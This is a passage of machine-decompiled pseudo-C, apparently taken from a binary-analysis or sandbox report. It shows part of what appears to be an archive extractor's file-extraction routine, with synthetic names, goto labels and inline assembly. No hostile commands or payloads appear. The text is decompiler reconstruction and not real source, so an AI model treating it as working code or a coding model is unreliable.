								_t445 = 1;
								L253:
								 *[fs:0x0] =  *((intOrPtr*)(_t862 - 0xc));
								return _t445;
							}
							__eflags =  *((char*)(_t696 + 0x3e5c));
							if( *((char*)(_t696 + 0x3e5c)) == 0) {
								L258:
								_t445 = 0;
								goto L253;
							}
							_push(_t699);
							_push(_t838);
							_push(_t696);
							_t446 = E00CD9C7D();
							__eflags = _t446;
							if(_t446 != 0) {
								 *0xcf4278( *((intOrPtr*)(_t696 + 0x6548)),  *((intOrPtr*)(_t696 + 0x654c)), 0);
								 *((intOrPtr*)( *((intOrPtr*)( *_t696 + 0x10))))();
								goto L252;
							}
							L257:
							E00CC7809(0xd030c4, 1);
							goto L258;
						}
						__eflags =  *((char*)(_t834 + 0x1117));
						if( *((char*)(_t834 + 0x1117)) != 0) {
							E00CC8655(_t696, _t862,  *(_t834 + 0x20), _t696, _t834 + 0x1118);
						}
						goto L251;
					}
					_t706 =  *((intOrPtr*)(_t834 + 0x10));
					_t817 =  *(_t706 + 0x2008);
					_t841 =  *(_t706 + 0x200c);
					if((_t817 | _t841) == 0 || _t817 !=  *((intOrPtr*)(_t696 + 0x6548)) || _t841 !=  *((intOrPtr*)(_t696 + 0x654c))) {
						L11:
						 *((char*)(_t834 + 0x1117)) = 0;
						_t875 =  *(_t696 + 0x2b8c);
						if(_t875 <= 0 && (_t875 < 0 ||  *(_t696 + 0x2b88) < 0)) {
							 *(_t696 + 0x2b88) = 0;
							 *(_t696 + 0x2b8c) = 0;
						}
						_t877 =  *(_t696 + 0x2b94);
						if(_t877 <= 0 && (_t877 < 0 ||  *(_t696 + 0x2b90) < 0)) {
							 *(_t696 + 0x2b90) = 0;
							 *(_t696 + 0x2b94) = 0;
						}
						_t707 =  *(_t834 + 0x20);
						if( *((intOrPtr*)(_t707 + 0x7064)) != 0 ||  *(_t834 + 0x10c) <  *((intOrPtr*)(_t707 + 0xb218)) ||  *((intOrPtr*)(_t834 + 0x111)) == 0) {
							 *((char*)(_t862 - 0x13)) = 0;
							_t33 = _t862 - 0x5108; // -18696
							_t34 = _t862 - 0x13; // 0x7ed
							_t458 = E00CC66BF(_t696 + 0x1b38, _t34, 6, 0, _t33, 0x800);
							 *(_t862 - 0x10) = _t458 != 0;
							if(_t458 != 0 &&  *((char*)(_t862 - 0x13)) == 0) {
								 *((char*)(_t834 + 0x111)) = 0;
							}
							E00CC25CD(_t696);
							_push(0x800);
							_t39 = _t862 - 0x1080; // -2176
							_push(_t696 + 0x1b60);
							E00CCCB5C();
							 *(_t862 - 0x24) = 1;
							if( *((char*)(_t696 + 0x2c23)) == 0) {
								__eflags = E00CC26CD(_t696);
								if(__eflags == 0) {
									_t677 =  *(_t834 + 0x20);
									__eflags = 1 -  *((intOrPtr*)(_t677 + 0x81ac));
									asm("sbb al, al");
									_t57 = _t862 - 0x10;
									 *_t57 =  *(_t862 - 0x10) &  !_t677;
									__eflags =  *_t57;
								}
							} else {
								_t680 =  *( *(_t834 + 0x20) + 0x81ac);
								if(_t680 != 1 &&  *((char*)(_t862 - 0x13)) == 0) {
									 *(_t862 - 0x10) =  *(_t862 - 0x10) & (_t680 & 0xffffff00 | _t680 == 0x00000000) - 0x00000001;
									_push(0);
									_t50 = _t862 - 0x1080; // -2176
									if( *( *(_t834 + 0x20) + 0x81ac) - 1 != E00CCD636(_t50)) {
										 *(_t862 - 0x10) = 0;
									} else {
										_t53 = _t862 - 0x1080; // -2176
										_push(1);
										E00CCD636(_t53);
									}
								}
							}
							 *((char*)(_t834 + 0x7f)) =  *((intOrPtr*)(_t696 + 0x2bc9));
							 *((char*)(_t834 + 0x80)) = 0;
							asm("sbb eax, [ebx+0x2b8c]");
							 *0xcf4278( *((intOrPtr*)(_t696 + 0x6550)) -  *(_t696 + 0x2b88),  *((intOrPtr*)(_t696 + 0x6554)), 0);
							 *((intOrPtr*)( *_t696 + 0x10))();
							_t819 =  *(_t862 - 0x10);
							 *(_t862 - 0xe) = 0;
							_t716 = 0;
							 *(_t862 - 0xd) = 0;
							 *(_t862 - 0x20) = 0;
							 *((char*)(_t862 - 0xf)) = 0;
							if(_t819 != 0) {
								L43:
								if( *((char*)(_t696 + 0x2bcb)) == 0 ||  *((char*)( *(_t834 + 0x20) + 0x6025)) == 0) {
									__eflags = _t819;
									if(__eflags != 0) {
										goto L50;
									}
									goto L48;
								} else {
									if( *((char*)(_t696 + 0x655c)) != 0) {
										goto L258;
									} else {
										 *(_t862 - 0x10) = 0;
										L48:
										if(_t716 != 0) {
											L50:
											_t844 =  *(_t862 - 0x1c);
											_t717 =  *((intOrPtr*)( *(_t834 + 0x20) + 0x70e9));
											_t471 = 0x49;
											if( *((intOrPtr*)( *(_t834 + 0x20) + 0x70e9)) == 0 || _t844 == _t471) {
												_t472 = 0;
												__eflags = 0;
											} else {
												_t472 = 1;
											}
											_t105 = _t862 - 0x1080; // -2176
											_t476 = L00CD2E9D(_t717, _t105, (_t472 & 0xffffff00 | _t717 == 0x00000000) & 0x000000ff, _t472,  *(_t862 - 0x20)); // executed
											if(_t476 == 0) {
												goto L258;
											} else {
												_t477 = _t834 + 0x1118;
												 *((intOrPtr*)(_t862 - 0x3c)) = _t477;
												if( *((char*)(_t862 - 0xf)) == 0) {
													_t109 = _t862 - 0x1080; // -2176
													E00CC8F4B(_t834, _t696, _t109, _t477, 0x800);
													_t477 = _t834 + 0x1118;
												}
												if( *(_t862 - 0xd) != 0 ||  *_t477 == 0 ||  *((intOrPtr*)(_t696 + 0x2bc8)) != 0) {
													__eflags = 0;
													 *(_t862 - 0xe) = 0;
												} else {
													 *(_t862 - 0xe) = 1;
												}
												_t479 =  *(_t834 + 0x20);
												_t718 = 0x45;
												_t820 = 0x58;
												 *((intOrPtr*)(_t862 - 0x38)) = _t718;
												 *((intOrPtr*)(_t862 - 0x34)) = _t820;
												if( *((char*)(_t479 + 0x705b)) != 0 ||  *((char*)(_t479 + 0x705c)) != 0) {
													if(_t844 == _t718) {
														L66:
														_t120 = _t862 - 0x3108; // -10504
														E00CC79C5(_t120);
														_push(0);
														_t121 = _t862 - 0x3108; // -10504
														if(E00CCB946(_t120, _t911, _t834 + 0x1118, _t121) == 0) {
															_t485 =  *(_t834 + 0x20);
															__eflags =  *((char*)(_t485 + 0x705b));
															_t133 = _t862 - 0xe;
															 *_t133 =  *(_t862 - 0xe) & (_t485 & 0xffffff00 |  *((char*)(_t485 + 0x705b)) != 0x00000000) - 0x00000001;
															__eflags =  *_t133;
															goto L72;
														}
														_t124 = _t862 - 0x20f8; // -6392
														if(E00CC8982(_t124, _t696 + 0x2b70) == 0) {
															goto L72;
														}
														if( *((char*)(_t862 - 0x20fc)) == 0) {
															L70:
															 *(_t862 - 0xe) = 0;
															goto L72;
														}
														_t127 = _t862 - 0x20f8; // -6392
														if(E00CC8965(_t127, _t834 + 0x18) == 0) {
															goto L72;
														}
														goto L70;
													}
													_t911 = _t844 - _t820;
													if(_t844 != _t820) {
														goto L72;
													}
													goto L66;
												} else {
													L72:
													_t135 = _t862 - 0x1080; // -2176
													if(E00CC89A8(_t696, _t135) != 0) {
														__eflags =  *((char*)(_t696 + 0x2bcb));
														if( *((char*)(_t696 + 0x2bcb)) == 0) {
															__eflags = 0;
															E00CCE489(_t834 + 0x28, 0, 0, 0, 0, 0, 0, 0, 0);
															L92:
															__eflags =  *(_t862 - 0xe);
															_t845 =  *(_t862 - 0x1c);
															_t492 = 0x50;
															if( *(_t862 - 0xe) != 0) {
																__eflags = _t845 - _t492;
																if(_t845 != _t492) {
																	_t772 =  *(_t834 + 0x20);
																	__eflags =  *((char*)(_t772 + 0x70e9));
																	if( *((char*)(_t772 + 0x70e9)) == 0) {
																		__eflags =  *((char*)(_t772 + 0x7083));
																		if( *((char*)(_t772 + 0x7083)) == 0) {
																			__eflags =  *(_t834 + 0x2119);
																			if(__eflags != 0) {
																				 *(_t862 - 0xe) = E00CC84FF(__eflags, _t834 + 0x1118, _t772 + 0x2012, _t834 + 0x211c);
																			}
																		}
																	}
																}
															}
															_t198 = _t862 - 0x20c0; // -6336
															E00CCA79B(_t198);
															_t494 =  *(_t696 + 0x2c30);
															 *(_t862 - 4) = 2;
															 *(_t862 - 0x20) = _t494;
															__eflags = _t494;
															if(_t494 == 0) {
																L108:
																_t495 = E00CC26CD(_t696);
																__eflags = _t495;
																if(_t495 == 0) {
																	_t496 =  *(_t862 - 0xe);
																	__eflags = _t496;
																	if(_t496 == 0) {
																		goto L118;
																	}
																	_t222 = _t862 - 0x20c0; // -6336
																	_push(_t696);
																	_t496 = E00CC8D93(_t834);
																	goto L117;
																}
																__eflags =  *(_t862 - 0xe);
																if( *(_t862 - 0xe) != 0) {
																	_t599 = 0x50;
																	__eflags = _t845 - _t599;
																	if(_t845 != _t599) {
																		_t600 = 0x49;
																		__eflags = _t845 - _t600;
																		if(_t845 != _t600) {
																			_t601 = 0x45;
																			__eflags = _t845 - _t601;
																			if(_t845 != _t601) {
																				_t602 =  *(_t834 + 0x20);
																				__eflags =  *((intOrPtr*)(_t602 + 0x7060)) - 1;
																				if( *((intOrPtr*)(_t602 + 0x7060)) != 1) {
																					 *(_t834 + 0x104) =  *(_t834 + 0x104) + 1;
																					_t220 = _t862 - 0x1080; // -2176
																					_push(_t696);
																					E00CC8B5C(_t834);
																				}
																			}
																		}
																	}
																}
																goto L121;
															} else {
																__eflags = _t494 - 5;
																if(_t494 == 5) {
																	goto L108;
																}
																_t496 =  *(_t862 - 0xe);
																__eflags = _t496;
																if(_t496 == 0) {
																	L118:
																	__eflags =  *((char*)(_t696 + 0x655c));
																	if(__eflags == 0) {
																		__eflags = _t496;
																		if(_t496 == 0) {
																			L241:
																			 *(_t862 - 4) =  *(_t862 - 4) | 0xffffffff;
																			_t422 = _t862 - 0x20c0; // -6336
																			E00CCA7DF(_t422);
																			__eflags =  *(_t862 - 0x10);
																			_t821 =  *(_t862 - 0xd);
																			if( *(_t862 - 0x10) != 0) {
																				_t425 = _t834 + 0x10c;
																				 *_t425 =  *(_t834 + 0x10c) + 1;
																				__eflags =  *_t425;
																			}
																			L243:
																			__eflags =  *((char*)(_t834 + 0x80));
																			if( *((char*)(_t834 + 0x80)) != 0) {
																				goto L258;
																			}
																			__eflags =  *(_t862 - 0xe);
																			if( *(_t862 - 0xe) != 0) {
																				goto L252;
																			}
																			__eflags =  *((char*)(_t696 + 0x655c));
																			if( *((char*)(_t696 + 0x655c)) == 0) {
																				goto L251;
																			}
																			__eflags = _t821;
																			if(_t821 == 0) {
																				goto L258;
																			}
																			goto L252;
																		}
																		L123:
																		_t725 = 0x50;
																		L124:
																		_t498 =  *(_t834 + 0x20);
																		__eflags =  *((char*)(_t498 + 0x70e9));
																		if( *((char*)(_t498 + 0x70e9)) == 0) {
																			L126:
																			_t499 =  *(_t862 - 0xd);
																			__eflags = _t499;
																			if(_t499 != 0) {
																				L131:
																				 *((char*)(_t862 - 0xf)) = 1;
																				__eflags = _t499;
																				if(_t499 != 0) {
																					L133:
																					 *((intOrPtr*)(_t834 + 0x108)) =  *((intOrPtr*)(_t834 + 0x108)) + 1;
																					 *((intOrPtr*)(_t834 + 0x98)) = 0;
																					 *((intOrPtr*)(_t834 + 0x9c)) = 0;
																					 *((intOrPtr*)(_t834 + 0xa0)) = 0;
																					 *((intOrPtr*)(_t834 + 0xa4)) = 0;
																					E00CCBEEA(_t834 + 0xe8, _t820,  *((intOrPtr*)(_t696 + 0x2ba0)),  *((intOrPtr*)( *(_t834 + 0x20) + 0x91c8)));
																					E00CCBEEA(_t834 + 0xc0, _t820,  *((intOrPtr*)(_t696 + 0x2ba0)),  *((intOrPtr*)( *(_t834 + 0x20) + 0x91c8)));
																					_t505 =  *(_t696 + 0x2b88);
																					_t847 = _t834 + 0x28;
																					_t728 =  *(_t696 + 0x2b8c);
																					 *(_t834 + 0x50) = _t505;
																					 *(_t834 + 0x48) = _t505;
																					_t263 = _t862 - 0x20c0; // -6336
																					 *(_t834 + 0x54) = _t728;
																					 *(_t834 + 0x4c) = _t728;
																					E00CCE4D1(_t847, _t696, _t263);
																					_t730 =  *((intOrPtr*)(_t862 - 0xf));
																					_t822 = 0;
																					_t508 =  *(_t862 - 0xd);
																					 *((char*)(_t834 + 0x59)) = _t730;
																					 *((char*)(_t834 + 0x5a)) = _t508;
																					 *(_t862 - 0x28) = 0;
																					 *(_t862 - 0x24) = 0;
																					__eflags = _t730;
																					if(_t730 != 0) {
																						L151:
																						_t731 =  *(_t834 + 0x20);
																						__eflags =  *((char*)(_t731 + 0x708c));
																						 *((char*)(_t862 - 0x20a3)) =  *((char*)(_t731 + 0x708c)) == 0;
																						__eflags =  *((char*)(_t862 - 0xf));
																						if( *((char*)(_t862 - 0xf)) != 0) {
																							L155:
																							_t509 = _t822;
																							 *((char*)(_t862 - 0x11)) = _t822;
																							L156:
																							__eflags =  *(_t862 - 0x20);
																							 *((char*)(_t862 - 0x14)) = 1;
																							 *((char*)(_t862 - 0x12)) = 1;
																							if( *(_t862 - 0x20) == 0) {
																								__eflags =  *((char*)(_t696 + 0x2bc8));
																								if( *((char*)(_t696 + 0x2bc8)) == 0) {
																									__eflags =  *((char*)(_t696 + 0x1b58));
																									if(__eflags != 0) {
																										_push( *(_t696 + 0x2c20) & 0x000000ff);
																										_push( *((intOrPtr*)(_t696 + 0x2c24)));
																										E00CD4556(_t696,  *((intOrPtr*)(_t834 + 0x100)));
																										_t546 =  *((intOrPtr*)(_t834 + 0x100));
																										 *(_t546 + 0x4c40) =  *(_t696 + 0x2b90);
																										__eflags = 0;
																										 *(_t546 + 0x4c44) =  *(_t696 + 0x2b94);
																										 *((char*)(_t546 + 0x4c58)) = 0;
																										E00CD41FF( *((intOrPtr*)(_t834 + 0x100)),  *((intOrPtr*)(_t696 + 0x1b54)),  *(_t696 + 0x2c20) & 0x000000ff); // executed
																									} else {
																										_push( *(_t696 + 0x2b94));
																										_push( *(_t696 + 0x2b90));
																										_push(_t847);
																										E00CCA453(_t696, __eflags);
																									}
																								}
																								L192:
																								E00CC200C(_t696);
																								__eflags =  *((char*)(_t696 + 0x2bc9));
																								if( *((char*)(_t696 + 0x2bc9)) != 0) {
																									L195:
																									_t511 = 0;
																									__eflags = 0;
																									_t733 = 0;
																									L196:
																									__eflags =  *(_t696 + 0x2c20);
																									if( *(_t696 + 0x2c20) != 0) {
																										__eflags =  *((char*)(_t696 + 0x1b58));
																										if( *((char*)(_t696 + 0x1b58)) == 0) {
																											L204:
																											__eflags =  *(_t862 - 0xd);
																											 *((char*)(_t862 - 0x11)) = _t511;
																											if( *(_t862 - 0xd) != 0) {
																												L214:
																												__eflags =  *(_t862 - 0x20);
																												_t823 =  *((intOrPtr*)(_t862 - 0x12));
																												if( *(_t862 - 0x20) == 0) {
																													L218:
																													_t734 = 0;
																													__eflags = 0;
																													L219:
																													__eflags =  *((char*)(_t862 - 0xf));
																													if( *((char*)(_t862 - 0xf)) != 0) {
																														goto L241;
																													}
																													_t848 =  *(_t862 - 0x1c);
																													__eflags = _t848 -  *((intOrPtr*)(_t862 - 0x34));
																													if(_t848 ==  *((intOrPtr*)(_t862 - 0x34))) {
																														L222:
																														__eflags =  *(_t862 - 0x20);
																														if( *(_t862 - 0x20) == 0) {
																															L226:
																															__eflags = _t511;
																															if(_t511 == 0) {
																																L229:
																																__eflags = _t734;
																																if(_t734 != 0) {
																																	L237:
																																	_t512 =  *(_t834 + 0x20);
																																	__eflags =  *((char*)(_t512 + 0x7094));
																																	if( *((char*)(_t512 + 0x7094)) == 0) {
																																		_t849 = _t834 + 0x1118;
																																		_t513 = E00CCB8C6(_t834 + 0x1118,  *((intOrPtr*)(_t696 + 0x1b5c))); // executed
																																		__eflags = _t513;
																																		if(__eflags == 0) {
																																			E00CC237A(0x11, _t696 + 0x32, _t849);
																																			E00CC7851(__eflags);
																																		}
																																	}
																																	 *((char*)(_t834 + 0x1117)) = 1;
																																	goto L241;
																																}
																																_t824 =  *(_t862 - 0x24);
																																__eflags = _t824;
																																_t737 =  *(_t862 - 0x28);
																																if(_t824 > 0) {
																																	L232:
																																	__eflags = _t511;
																																	if(_t511 != 0) {
																																		L235:
																																		_t395 = _t862 - 0x20c0; // -6336
																																		E00CCB179(_t395);
																																		L236:
																																		_t836 = _t696 + 0x2b70;
																																		asm("sbb eax, eax");
																																		asm("sbb ecx, ecx");
																																		asm("sbb eax, eax");
																																		_t403 = _t862 - 0x20c0; // -6336
																																		E00CCB012(_t403, _t696 + 0x2b80,  ~( *( *(_t834 + 0x20) + 0x81b8)) & _t836,  ~( *( *(_t834 + 0x20) + 0x81bc)) & _t696 + 0x00002b78,  ~( *( *(_t834 + 0x20) + 0x81c0)) & _t696 + 0x00002b80);
																																		_t404 = _t862 - 0x20c0; // -6336
																																		E00CCA860(_t404);
																																		E00CC86C0( *((intOrPtr*)(_t862 - 0x30)),  *((intOrPtr*)( *((intOrPtr*)(_t862 - 0x30)) + 0x20)), _t696,  *((intOrPtr*)(_t862 - 0x3c)));
																																		asm("sbb eax, eax");
																																		asm("sbb eax, eax");
																																		__eflags =  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t862 - 0x30)) + 0x20)) + 0x81b8)) & _t836;
																																		E00CCB00F( ~( *( *((intOrPtr*)( *((intOrPtr*)(_t862 - 0x30)) + 0x20)) + 0x81b8)) & _t836,  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t862 - 0x30)) + 0x20)) + 0x81b8)) & _t836,  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t862 - 0x30)) + 0x20)) + 0x81c0)) & _t696 + 0x00002b80);
																																		_t834 =  *((intOrPtr*)(_t862 - 0x30));
																																		goto L237;
																																	}
																																	__eflags =  *((intOrPtr*)(_t834 + 0xa0)) - _t737;
																																	if( *((intOrPtr*)(_t834 + 0xa0)) != _t737) {
																																		goto L235;
																																	}
																																	__eflags =  *((intOrPtr*)(_t834 + 0xa4)) - _t824;
																																	if( *((intOrPtr*)(_t834 + 0xa4)) == _t824) {
																																		goto L236;
																																	}
																																	goto L235;
																																}
																																__eflags = _t737;
																																if(_t737 == 0) {
																																	goto L236;
																																}
																																goto L232;
																															}
																															_t536 =  *(_t834 + 0x20);
																															__eflags =  *((char*)(_t536 + 0x708c));
																															if( *((char*)(_t536 + 0x708c)) == 0) {
																																goto L241;
																															}
																															_t511 =  *((intOrPtr*)(_t862 - 0x11));
																															goto L229;
																														}
																														__eflags = _t734;
																														if(_t734 != 0) {
																															goto L226;
																														}
																														__eflags =  *(_t696 + 0x2c30) - 5;
																														if( *(_t696 + 0x2c30) != 5) {
																															goto L241;
																														}
																														__eflags = _t823;
																														if(_t823 == 0) {
																															goto L241;
																														}
																														goto L226;
																													}
																													__eflags = _t848 -  *((intOrPtr*)(_t862 - 0x38));
																													if(_t848 !=  *((intOrPtr*)(_t862 - 0x38))) {
																														goto L241;
																													}
																													goto L222;
																												}
																												__eflags =  *(_t696 + 0x2c30) - 4;
																												if( *(_t696 + 0x2c30) != 4) {
																													goto L218;
																												}
																												__eflags = _t823;
																												if(_t823 == 0) {
																													goto L218;
																												}
																												_t734 = 1;
																												goto L219;
																											}
																											__eflags =  *((char*)(_t862 - 0x14));
																											if( *((char*)(_t862 - 0x14)) == 0) {
																												goto L214;
																											}
																											__eflags = _t733;
																											if(_t733 != 0) {
																												goto L214;
																											}
																											__eflags =  *((intOrPtr*)(_t696 + 0x2bcb)) - _t733;
																											if( *((intOrPtr*)(_t696 + 0x2bcb)) == _t733) {
																												L212:
																												_push(3);
																												L213:
																												_pop(_t746);
																												_t375 = _t862 - 0x1080; // -2176
																												E00CC237A(_t746, _t696 + 0x32, _t375);
																												 *((char*)(_t862 - 0x11)) = 1;
																												E00CC7809(0xd030c4, 3);
																												_t511 =  *((intOrPtr*)(_t862 - 0x11));
																												goto L214;
																											}
																											__eflags =  *(_t696 + 0x2bf1) - _t733;
																											if( *(_t696 + 0x2bf1) == _t733) {
																												L210:
																												__eflags =  *((char*)(_t834 + 0x114));
																												if( *((char*)(_t834 + 0x114)) != 0) {
																													goto L212;
																												}
																												_push(4);
																												goto L213;
																											}
																											__eflags =  *(_t696 + 0x656c) - _t733;
																											if( *(_t696 + 0x656c) == _t733) {
																												goto L212;
																											}
																											goto L210;
																										}
																										__eflags =  *(_t696 + 0x2b94) - _t511;
																										if(__eflags < 0) {
																											goto L204;
																										}
																										if(__eflags > 0) {
																											L202:
																											__eflags = _t733;
																											if(_t733 != 0) {
																												 *((char*)(_t834 + 0x114)) = 1;
																											}
																											goto L204;
																										}
																										__eflags =  *(_t696 + 0x2b90) - _t511;
																										if( *(_t696 + 0x2b90) <= _t511) {
																											goto L204;
																										}
																										goto L202;
																									}
																									 *((char*)(_t834 + 0x114)) = _t511;
																									goto L204;
																								}
																								asm("sbb edx, edx");
																								_t543 = E00CCBEBA(_t696, _t834 + 0xe8, _t696 + 0x2ba0,  ~( *(_t696 + 0x2bfa) & 0x000000ff) & _t696 + 0x00002bfb);
																								__eflags = _t543;
																								if(_t543 == 0) {
																									goto L195;
																								}
																								_t733 = 1;
																								_t511 = 0;
																								goto L196;
																							}
																							_t851 =  *(_t696 + 0x2c30);
																							__eflags = _t851 - 4;
																							if(_t851 == 4) {
																								L176:
																								_t320 = _t862 - 0x4108; // -14600
																								E00CCD75B(_t696 + 0x2c34, _t320, 0x800);
																								_push(0x800);
																								_t322 = _t862 - 0x4108; // -14600
																								_t553 = _t322;
																								_push(_t553);
																								_push(_t553);
																								E00CCCB5C();
																								_t323 = _t862 - 0x30c0; // -10432
																								_t753 = _t834;
																								_t324 = _t862 - 0x4108; // -14600
																								E00CC8F4B(_t834, _t696, _t324, _t323, 0x800);
																								_t509 =  *((intOrPtr*)(_t862 - 0x11));
																								__eflags = _t509;
																								if(_t509 == 0) {
																									L183:
																									__eflags =  *((intOrPtr*)(_t696 + 0x6558)) - 2;
																									if( *((intOrPtr*)(_t696 + 0x6558)) != 2) {
																										L165:
																										__eflags = _t509;
																										if(_t509 == 0) {
																											L186:
																											_t558 = 0;
																											__eflags = 0;
																											L187:
																											 *((char*)(_t834 + 0x1117)) = _t558;
																											goto L192;
																										}
																										L166:
																										__eflags =  *((char*)(_t862 - 0x12));
																										if( *((char*)(_t862 - 0x12)) == 0) {
																											goto L186;
																										}
																										_t558 = 1;
																										goto L187;
																									}
																									__eflags = _t509;
																									if(_t509 != 0) {
																										goto L166;
																									}
																									L164:
																									__eflags = 0;
																									 *((char*)(_t862 - 0x14)) = 0;
																									goto L165;
																								}
																								__eflags =  *((short*)(_t862 - 0x30c0));
																								if( *((short*)(_t862 - 0x30c0)) == 0) {
																									goto L183;
																								}
																								_t327 = _t862 - 0x30c0; // -10432
																								_t559 = _t327;
																								__eflags = _t851 - 4;
																								if(__eflags != 0) {
																									_push( *(_t696 + 0x2b94));
																									_push( *(_t696 + 0x2b90));
																									_push(0x800);
																									_push(_t559);
																									_push(_t834 + 0x1118);
																									_t334 = _t862 - 0x4108; // -14600
																									_push(_t696 + 0x32);
																									_t336 = _t862 - 0x20c0; // -6336
																									_t564 = E00CCA1F0(_t834, __eflags);
																									_t830 = _t564;
																									 *((char*)(_t862 - 0x12)) = _t564;
																								} else {
																									_push(0x800);
																									_t830 = E00CC8017(_t753, _t834, __eflags,  *(_t834 + 0x20), _t834 + 0x1118, _t559);
																									 *((char*)(_t862 - 0x12)) = _t830;
																								}
																								L181:
																								__eflags = _t830;
																								if(_t830 == 0) {
																									L163:
																									_t509 =  *((intOrPtr*)(_t862 - 0x11));
																									goto L164;
																								}
																								_t509 =  *((intOrPtr*)(_t862 - 0x11));
																								goto L183;
																							}
																							__eflags = _t851 - 5;
																							if(_t851 == 5) {
																								goto L176;
																							}
																							__eflags = _t851 - 1;
																							if(_t851 == 1) {
																								L168:
																								__eflags = _t509;
																								if(_t509 == 0) {
																									goto L183;
																								}
																								_t310 = _t862 - 0x15; // 0x7eb
																								_t830 = E00CC827B(_t731, _t862, _t731, _t834 + 0x28, _t696, _t834 + 0x1118);
																								 *((char*)(_t862 - 0x12)) = _t830;
																								__eflags = _t830;
																								if(_t830 == 0) {
																									L172:
																									__eflags = 0;
																									_t756 = 0;
																									L173:
																									 *(_t834 + 0x2119) =  *(_t834 + 0x2119) | _t756;
																									_t572 = _t834 + 0x211c;
																									 *((intOrPtr*)(_t572 + 0x10)) = 0;
																									__eflags =  *((intOrPtr*)(_t572 + 0x14)) - 8;
																									if( *((intOrPtr*)(_t572 + 0x14)) >= 8) {
																										_t572 =  *_t572;
																									}
																									 *_t572 = 0;
																									goto L181;
																								}
																								__eflags =  *((char*)(_t862 - 0x15));
																								if( *((char*)(_t862 - 0x15)) == 0) {
																									goto L172;
																								}
																								_t756 = 1;
																								goto L173;
																							}
																							__eflags = _t851 - 2;
																							if(_t851 == 2) {
																								goto L168;
																							}
																							__eflags = _t851 - 3;
																							if(_t851 == 3) {
																								goto L168;
																							}
																							_t304 = _t862 - 0x1080; // -2176
																							E00CC237A(0x47, _t696 + 0x32, _t304);
																							__eflags = 0;
																							 *((char*)(_t862 - 0x12)) = 0;
																							goto L163;
																						}
																						__eflags = _t508;
																						if(_t508 != 0) {
																							goto L155;
																						}
																						_t577 = 0x50;
																						__eflags =  *(_t862 - 0x1c) - _t577;
																						if( *(_t862 - 0x1c) == _t577) {
																							goto L155;
																						}
																						_t509 = 1;
																						 *((char*)(_t862 - 0x11)) = 1;
																						goto L156;
																					}
																					__eflags =  *(_t696 + 0x656c);
																					if( *(_t696 + 0x656c) != 0) {
																						goto L151;
																					}
																					_t852 =  *(_t696 + 0x2b94);
																					_t831 =  *(_t696 + 0x2b90);
																					__eflags = _t852;
																					if(__eflags < 0) {
																						L150:
																						_t822 = 0;
																						__eflags = 0;
																						_t847 = _t834 + 0x28;
																						goto L151;
																					}
																					if(__eflags > 0) {
																						L138:
																						_t760 =  *(_t696 + 0x2b88);
																						_t761 = _t760 << 0xa;
																						__eflags = ( *(_t696 + 0x2b8c) << 0x00000020 | _t760) << 0xa - _t852;
																						if(__eflags < 0) {
																							L149:
																							_t508 =  *(_t862 - 0xd);
																							goto L150;
																						}
																						if(__eflags > 0) {
																							L141:
																							__eflags =  *((intOrPtr*)(_t696 + 0x10)) - 1;
																							if( *((intOrPtr*)(_t696 + 0x10)) == 1) {
																								goto L149;
																							}
																							__eflags = _t852;
																							if(__eflags < 0) {
																								L148:
																								_t285 = _t862 - 0x20c0; // -6336
																								E00CCAC7C(_t285, _t831,  *(_t696 + 0x2b90),  *(_t696 + 0x2b94));
																								 *(_t862 - 0x28) =  *(_t696 + 0x2b90);
																								 *(_t862 - 0x24) =  *(_t696 + 0x2b94);
																								goto L149;
																							}
																							if(__eflags > 0) {
																								L145:
																								_t584 = E00CCAA5A(_t831);
																								__eflags = _t831 -  *(_t696 + 0x2b8c);
																								if(__eflags < 0) {
																									goto L149;
																								}
																								if(__eflags > 0) {
																									goto L148;
																								}
																								__eflags = _t584 -  *(_t696 + 0x2b88);
																								if(_t584 <=  *(_t696 + 0x2b88)) {
																									goto L149;
																								}
																								goto L148;
																							}
																							__eflags = _t831 - 0x5f5e100;
																							if(_t831 < 0x5f5e100) {
																								goto L148;
																							}
																							goto L145;
																						}
																						__eflags = _t761 - _t831;
																						if(_t761 <= _t831) {
																							goto L149;
																						}
																						goto L141;
																					}
																					__eflags = _t831 - 0xf4240;
																					if(_t831 <= 0xf4240) {
																						goto L150;
																					}
																					goto L138;
																				}
																				L132:
																				_t243 = _t834 + 0x104;
																				 *_t243 =  *(_t834 + 0x104) + 1;
																				__eflags =  *_t243;
																				goto L133;
																			}
																			 *((char*)(_t862 - 0xf)) = 0;
																			__eflags = _t845 - _t725;
																			if(_t845 != _t725) {
																				_t237 = _t862 - 0x20c0; // -6336
																				_t586 = E00CCAAFC(_t237);
																				__eflags = _t586;
																				if(_t586 != 0) {
																					E00CC237A(0x3b, _t696 + 0x32, _t834 + 0x1118);
																					E00CC7931(0xd030c4, _t862, _t696 + 0x32, _t834 + 0x1118);
																				}
																			}
																			goto L132;
																		}
																		 *((char*)(_t834 + 0x1117)) = 1;
																		__eflags =  *((char*)(_t498 + 0x70e9));
																		if( *((char*)(_t498 + 0x70e9)) != 0) {
																			_t499 =  *(_t862 - 0xd);
																			goto L131;
																		}
																		goto L126;
																	}
																	 *(_t862 - 0xd) = 1;
																	 *(_t862 - 0xe) = 1;
																	_t227 = _t862 - 0x1080; // -2176
																	_t595 = L00CD2E9D(__eflags, _t227, 0, 0, 1);
																	__eflags = _t595;
																	if(_t595 != 0) {
																		goto L123;
																	}
																	__eflags = 0;
																	 *(_t862 - 0x24) = 0;
																	L121:
																	_t229 = _t862 - 0x20c0; // -6336
																	E00CCA7DF(_t229);
																	_t445 =  *(_t862 - 0x24);
																	goto L253;
																}
																_t725 = 0x50;
																__eflags = _t845 - _t725;
																if(_t845 == _t725) {
																	goto L124;
																}
																_t605 =  *(_t834 + 0x20);
																__eflags =  *((char*)(_t605 + 0x70e9));
																if( *((char*)(_t605 + 0x70e9)) != 0) {
																	goto L124;
																}
																 *((char*)(_t862 - 0xf)) = 0;
																_t608 = E00CCB4A1(_t834 + 0x1118);
																__eflags = _t608;
																if(_t608 == 0) {
																	L106:
																	__eflags =  *((char*)(_t862 - 0xf));
																	if( *((char*)(_t862 - 0xf)) == 0) {
																		goto L123;
																	}
																	L107:
																	_t496 = 0;
																	L117:
																	 *(_t862 - 0xe) = _t496;
																	__eflags = _t496;
																	if(_t496 != 0) {
																		goto L123;
																	}
																	goto L118;
																}
																__eflags =  *((char*)(_t862 - 0xf));
																if( *((char*)(_t862 - 0xf)) != 0) {
																	goto L107;
																}
																__eflags = 0;
																_push(0);
																_push(_t696 + 0x2b70);
